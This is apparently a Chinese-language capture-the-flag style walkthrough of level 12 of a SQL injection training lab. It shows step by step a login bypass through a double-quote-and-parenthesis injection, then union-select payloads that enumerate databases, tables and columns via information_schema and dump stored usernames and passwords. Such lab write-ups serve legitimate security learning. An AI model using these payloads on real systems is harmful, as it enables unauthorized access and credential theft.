第十二关请求方式为 POST请求 , 注入点为 双引号+括号的字符串型 , 注入方式为 联合/报错注入
第一步,判断注入方式
先来个单引号' , 用户名输入 a' , 密码输入 1 , 登录失败 , 也没报错 , 但它把SQL给我们返回了 , 从返回的SQL来看 , 其对传入的参数包裹了 双引号+括号
那我们用万能账号试一下 , 用户名输入以下代码 , 密码随便输入
a") or true -- a
给个 true , 使SQL恒成立 , 如果特殊字符能影响SQL的执行 , 即可正常登录
果然登录成功 , 固 双引号+括号的字符串型注入 , 源码如下
本关卡有显示位,可以用联合注入 , 题目写的是基于报错 , 用报错注入也是可以
第二步,获取字段数
使用order by 排序 , 从第1列开始排序 , 直到报错没有该列
abc") or true order by 3 #
第3列开始报错 , 固 字段数为2
第三步,判断字段显示位置
使用联合查询 , 配合分页展示自定义的数字 , 从而判断字段的显示位置
abc") or true union select 1,2 limit 13,1 #
由于SQL返回了所有查询到的结果 , 分页一直到13行才达到显示位置的效果 , 源码如下
第四步,获取所有数据库
查询information_schema默认数据库的schema表的schema_name字段 , 该字段保存了所有的数据库名字
abc") or true union select 1, (select group_concat(schema_name) from information_schema.schemata) limit 13,1 #
此处的 group_concat() , 可将多行结果合并成一行 , 目的在于一次查询到所有数据库的名字
使用database() , 获取当前使用的数据库
abc") or true union select 1, (select database()) limit 13,1 #
可知 , 当前使用的数据库为 security , 下一步根据security数据库 获取其所有表
第五步,获取所有表
查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有的表名
abc") or true union select 1, (select group_concat(table_name) from information_schema.tables where table_schema='security') limit 13,1 #
获取所有表以后 , 下一步根据users表 查询其所有字段 , 该表保存用户和密码
第六步,获取所有字段
查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名
abc") or true union select 1, (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') limit 13,1 #
至此可知 , 数据库为 security , 表为 users , 字段为id,username,password , 下一步 , 从该表中查询账号密码
第七步,获取账号密码
abc") or true union select 1, (select group_concat(username,'~',password) from security.users) limit 13,1 #
过关!